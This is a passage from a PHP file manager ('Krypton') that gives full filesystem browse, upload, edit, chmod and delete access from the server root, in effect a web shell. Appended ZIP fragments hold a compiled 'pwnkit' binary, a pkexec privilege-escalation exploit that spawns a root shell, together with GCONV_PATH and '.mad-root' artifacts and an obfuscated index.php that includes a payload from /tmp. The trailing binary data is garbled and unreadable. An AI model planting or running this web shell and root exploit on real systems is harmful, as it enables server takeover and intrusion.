    if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
        $newFolderName = $_POST['newFolderName'];
        $newFolderPath = $currentPath . '/' . $newFolderName;
        
        if (!file_exists($newFolderPath)) {
            if (mkdir($newFolderPath, 0755)) {
                $success = 'Folder created successfully.';
            } else {
                $error = 'Failed to create folder.';
            }
        } else {
            $error = 'Folder already exists.';
        }
    }
}

// Save current path to session
$_SESSION['current_path'] = $currentPath;

// Get directory contents
$items = [];
if (is_dir($currentPath)) {
    if ($handle = opendir($currentPath)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $fullPath = $currentPath . '/' . $entry;
                $isDir = is_dir($fullPath);
                
                try {
                    $size = $isDir ? '-' : formatFileSize(filesize($fullPath));
                    $permissions = getFilePermissions($fullPath);
                    $lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
                    
                    $items[] = [
                        'name' => $entry,
                        'path' => $fullPath,
                        'encryptedPath' => encryptPath($fullPath),
                        'isDirectory' => $isDir,
                        'size' => $size,
                        'permissions' => $permissions,
                        'lastModified' => $lastModified,
                        'isEditable' => !$isDir && isEditableFile($entry)
                    ];
                } catch (Exception $e) {
                    // Skip files that can't be accessed
                    continue;
                }
            }
        }
        closedir($handle);
    }
}

// Sort items: directories first, then files
usort($items, function($a, $b) {
    if ($a['isDirectory'] && !$b['isDirectory']) {
        return -1;
    }
    if (!$a['isDirectory'] && $b['isDirectory']) {
        return 1;
    }
    return strcasecmp($a['name'], $b['name']);
});

// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';

foreach ($pathParts as $part) {
    if (empty($part)) {
        $buildPath = '/';
        $breadcrumbs[] = [
            'name' => 'Root',
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    } else {
        $buildPath .= ($buildPath === '/') ? $part : '/' . $part;
        $breadcrumbs[] = [
            'name' => $part,
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    }
}

// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);

// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Krypton File Manager</title>
    <style>
        /* Base styles and reset */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
        }
        
        body {
            background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            background-color: #f9f9f9;
            /* Fallback color */
            color: #333333;
            line-height: 1.6;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        /* Navigation bar */
        .navbar {
            background-color: #ffffff;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 15px 0;
            position: sticky;
            top: 0;
            z-index: 100;
        }
        
        .navbar-content {
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        
        .navbar h1 {
            color: #333333;
            font-size: 1.5rem;
            font-weight: 500;
        }
        
        .version {
            font-size: 0.8rem;
            color: #777;
            margin-left: 10px;
        }
        
        .navbar-actions {
            display: flex;
            gap: 10px;
        }
        
        .home-btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 8px 15px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            transition: all 0.2s ease;
        }
        
        .home-btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .home-icon {
            margin-right: 5px;
        }
        
        /* Breadcrumb navigation */
        .breadcrumb {
            display: flex;
            align-items: center;
            padding: 12px 0;
            margin-bottom: 15px;
            overflow-x: auto;
            white-space: nowrap;
        }
        
        .breadcrumb-item {
            display: flex;
            align-items: center;
        }
        
        .breadcrumb-item a {
            color: #4a6cf7;
            text-decoration: none;
            padding: 5px 8px;
            border-radius: 4px;
            transition: background-color 0.2s;
            cursor: pointer;
        }
        
        .breadcrumb-item a:hover {
            background-color: rgba(74, 108, 247, 0.1);
        }
        
        .breadcrumb-separator {
            margin: 0 5px;
            color: #999;
        }
        
        .breadcrumb-current {
            font-weight: 500;
            padding: 5px 8px;
        }
        
        /* Section styling */
        .section {
            background-color: rgba(255, 255, 255, 0.9);
            border-radius: 8px;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
        }
        
        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
        }
        
        .section-title {
            font-size: 1.1rem;
            color: #333333;
            font-weight: 500;
        }
        
        .section-actions {
            display: flex;
            gap: 10px;
        }
        
        /* Upload form */
        .upload-form {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            align-items: center;
        }
        
        .upload-form input[type="file"] {
            flex: 1;
            min-width: 200px;
            padding: 10px;
            border: 1px solid #e0e0e0;
            border-radius: 6px;
            background-color: #ffffff;
        }
        
        .btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            transition: all 0.2s ease;
        }
        
        .btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .btn-sm {
            padding: 6px 12px;
            font-size: 0.9rem;
        }
        
        .btn-success {
            background-color: #28a745;
        }
        
        .btn-success:hover {
            background-color: #218838;
        }
        
        /* File list table */
        .file-table-container {
            overflow-x: auto;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
        }
        
        .file-table th {
            background-color: #f5f5f5;
            padding: 12px 15px;
            text-align: left;
            font-weight: 500;
            border-bottom: 1px solid #e0e0e0;
            position: relative;
        }
        
        .file-table td {
            padding: 12px 15px;
            border-bottom: 1px solid #e0e0e0;
        }
        
        .file-table tr:hover {
            background-color: #f5f7ff;
        }
        
        .file-name {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .folder-icon::before {
            content: "📁";
        }
        
        .file-icon::before {
            content: "📄";
        }
        
        /* Action buttons */
        .action-buttons {
            display: flex;
            gap: 8px;
        }
        
        .action-btn {
            background: none;
            border: none;
            cursor: pointer;
            font-size: 1rem;
            color: #555;
            transition: all 0.2s ease;
            width: 28px;
            height: 28px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 4px;
        }
        
        .action-btn:hover {
            background-color: #f0f0f0;
            color: #333;
        }
        
        /* Modal styles */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        
        .modal-content {
            background-color: white;
            padding: 25px;
            border-radius: 8px;
            width: 90%;
            max-width: 400px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
        }
        
        .modal-content.modal-lg {
            max-width: 800px;
            height: 80%;
            display: flex;
            flex-direction: column;
        }
        
        .modal-title {
            font-size: 1.2rem;
            margin-bottom: 15px;
            font-weight: 500;
        }
        
        .modal-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .editor-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
            flex-grow: 1;
        }
        
        .form-group {
            display: flex;
            flex-direction: column;
            gap: 5px;
        }
        
        .form-group label {
            font-weight: 500;
        }
        
        .form-group input {
            padding: 8px 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        
        .form-group textarea {
            flex-grow: 1;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            resize: none;
        }
        
        .modal-actions {
            display: flex;
            justify-content: flex-end;
            gap: 10px;
            margin-top: 20px;
        }
        
        .btn-cancel {
            background-color: #f0f0f0;
            color: #333;
        }
        
        .btn-cancel:hover {
            background-color: #e0e0e0;
        }
        
        /* Alerts */
        .alert {
            padding: 12px 15px;
            margin-bottom: 15px;
            border-radius: 4px;
            font-weight: 500;
        }
        
        .alert-success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .alert-error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .alert-warning {
            background-color: #fff3cd;
            color: #856404;
            border: 1px solid #ffeeba;
        }
        
        /* Footer */
        .footer {
            text-align: center;
            padding: 20px 0;
            color: #777;
            font-size: 0.9rem;
        }
        
        /* Loading overlay */
        .loading-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 2000;
            justify-content: center;
            align-items: center;
        }
        
        .spinner {
            width: 50px;
            height: 50px;
            border: 5px solid #f3f3f3;
            border-top: 5px solid #3498db;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        /* Responsive design */
        @media (max-width: 768px) {
            .upload-form {
                flex-direction: column;
                align-items: stretch;
            }
            
            .upload-form input[type="file"] {
                width: 100%;
            }
            
            .action-buttons {
                flex-wrap: wrap;
            }
            
            .section-header {
                flex-direction: column;
                align-items: flex-start;
                gap: 10px;
            }
            
            .section-actions {
                width: 100%;
            }
            
            .btn {
                width: 100%;
            }
        }
    </style>
</head>
<body>
    <!-- Loading Overlay -->
    <div id="loadingOverlay" class="loading-overlay">
        <div class="spinner"></div>
    </div>

    <!-- Navigation Bar -->
    <nav class="navbar">
        <div class="container navbar-content">
            <h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
            <div class="navbar-actions">
                <button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
                    <span class="home-icon">🏠</span> Home
                </button>
            </div>
        </div>
    </nav>
    
    <div class="container">
        <!-- Alerts -->
        <?php if (!empty($encryptionKeyWarning)): ?>
        <div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($success)): ?>
        <div class="alert alert-success"><?php echo $success; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($error)): ?>
        <div class="alert alert-error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <!-- Breadcrumb Navigation -->
        <div class="breadcrumb">
            <?php foreach ($breadcrumbs as $index => $crumb): ?>
                <?php if ($index > 0): ?>
                    <span class="breadcrumb-separator">›</span>
                <?php endif; ?>
                
                <div class="breadcrumb-item">
                    <?php if ($index === count($breadcrumbs) - 1): ?>
                        <span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
                    <?php else: ?>
                        <a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
        
        <!-- Upload Section -->
        <section class="section">
            <h2 class="section-title">Upload Files</h2>
            <form class="upload-form" method="post" enctype="multipart/form-data">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="file" name="file">
                <button type="submit" name="upload" class="btn">Upload File</button>
            </form>
        </section>
        
        <!-- File List Section -->
        <section class="section">
            <div class="section-header">
                <h2 class="section-title">Files</h2>
                <div class="section-actions">
                    <button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
                    <button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
                </div>
            </div>
            <div class="file-table-container">
                <table class="file-table">
                    <thead>
                        <tr>
                            <th>Filename</th>
                            <th>Size</th>
                            <th>Permissions</th>
                            <th>Last Modified</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Parent directory link -->
                        <?php if ($currentPath !== '/'): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="folder-icon"></span>
                                    <a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
                                </div>
                            </td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                        </tr>
                        <?php endif; ?>
                        
                        <!-- File list -->
                        <?php foreach ($items as $item): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
                                    <?php if ($item['isDirectory']): ?>
                                        <a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
                                    <?php else: ?>
                                        <?php echo htmlspecialchars($item['name']); ?>
                                    <?php endif; ?>
                                </div>
                            </td>
                            <td><?php echo $item['size']; ?></td>
                            <td><?php echo $item['permissions']; ?></td>
                            <td><?php echo $item['lastModified']; ?></td>
                            <td>
                                <div class="action-buttons">
                                    <?php if (!$item['isDirectory']): ?>
                                        <button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
                                        <?php if ($item['isEditable']): ?>
                                            <button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                    <button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
                                    <button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
                                    <form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
                                        <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                                        <input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
                                        <button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
                                    </form>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </section>
        
        <footer class="footer">
            Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
        </footer>
    </div>
    
    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="renameOldPath" name="oldPath" value="">
                <div class="form-group">
                    <label for="renameNewName">New Name:</label>
                    <input type="text" id="renameNewName" name="newName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
                    <button type="submit" name="rename" class="btn">Rename</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Permissions Modal -->
    <div id="permissionsModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="permissionsPath" name="permPath" value="">
                <div class="form-group">
                    <label for="permissionsOctal">Permissions (Octal):</label>
                    <input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
                    <button type="submit" name="changePermissions" class="btn">Apply</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Edit File Modal -->
    <div id="editFileModal" class="modal">
        <div class="modal-content modal-lg">
            <h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
            <form class="editor-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="editFilePath" name="filePath" value="">
                <div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
                    <textarea id="fileContent" name="fileContent" required></textarea>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
                    <button type="submit" name="saveFile" class="btn">Save</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create File Modal -->
    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New File</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFileName">File Name:</label>
                    <input type="text" id="newFileName" name="newFileName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
                    <button type="submit" name="createFile" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create Folder Modal -->
    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New Folder</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFolderName">Folder Name:</label>
                    <input type="text" id="newFolderName" name="newFolderName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
                    <button type="submit" name="createFolder" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Hidden form for navigation -->
    <form id="navigationForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="navigate">
        <input type="hidden" id="navigationPath" name="path" value="">
    </form>
    
    <!-- Hidden form for download -->
    <form id="downloadForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="download">
        <input type="hidden" id="downloadPath" name="path" value="">
    </form>
    
    <script>
        // Show loading overlay
        function showLoading() {
            document.getElementById('loadingOverlay').style.display = 'flex';
        }
        
        // Hide loading overlay
        function hideLoading() {
            document.getElementById('loadingOverlay').style.display = 'none';
        }
        
        // Navigation function
        function navigateTo(path) {
            showLoading();
            document.getElementById('navigationPath').value = path;
            document.getElementById('navigationForm').submit();
        }
        
        // Download function
        function downloadFile(path) {
            document.getElementById('downloadPath').value = path;
            document.getElementById('downloadForm').submit();
        }
        
        // Show rename modal
        function showRenameModal(path, name) {
            document.getElementById('renameFileName').textContent = name;
            document.getElementById('renameOldPath').value = path;
            document.getElementById('renameNewName').value = name;
            document.getElementById('renameModal').style.display = 'flex';
        }
        
        // Show permissions modal
        function showPermissionsModal(path, name) {
            document.getElementById('permissionsFileName').textContent = name;
            document.getElementById('permissionsPath').value = path;
            document.getElementById('permissionsModal').style.display = 'flex';
        }
        
        // Show edit file modal
        function showEditFileModal(path, name) {
            document.getElementById('editFileName').textContent = name;
            document.getElementById('editFilePath').value = path;
            
            showLoading();
            
            // Fetch file content using POST
            const formData = new FormData();
            formData.append('action', 'getContent');
            formData.append('path', path);
            
            fetch(window.location.pathname, {
                method: 'POST',
                body: formData
            })
            .then(response => response.text())
            .then(content => {
                document.getElementById('fileContent').value = content;
                document.getElementById('editFileModal').style.display = 'flex';
                hideLoading();
            })
            .catch(error => {
                hideLoading();
                alert('Error loading file content: ' + error);
            });
        }
        
        // Show create file modal
        function showCreateFileModal() {
            document.getElementById('newFileName').value = '';
            document.getElementById('createFileModal').style.display = 'flex';
        }
        
        // Show create folder modal
        function showCreateFolderModal() {
            document.getElementById('newFolderName').value = '';
            document.getElementById('createFolderModal').style.display = 'flex';
        }
        
        // Hide modal
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        // Close modals when clicking outside
        window.onclick = function(event) {
            if (event.target.className === 'modal') {
                event.target.style.display = 'none';
            }
        }
        
        // Add loading indicator to form submissions
        document.addEventListener('DOMContentLoaded', function() {
            const forms = document.querySelectorAll('form');
            forms.forEach(form => {
                form.addEventListener('submit', function() {
                    // Don't show loading for the navigation and download forms
                    if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
                        showLoading();
                    }
                });
            });
        });
    </script>
</body>
</html>PK!C�!)�+�+	17/pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!���[ii17/zg15kc/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "user1.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!2/GCONV_PATH=./.pkexecnuȯ��PK!2/.mad-rootnu�[���PK!C�!)�+�+2/pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
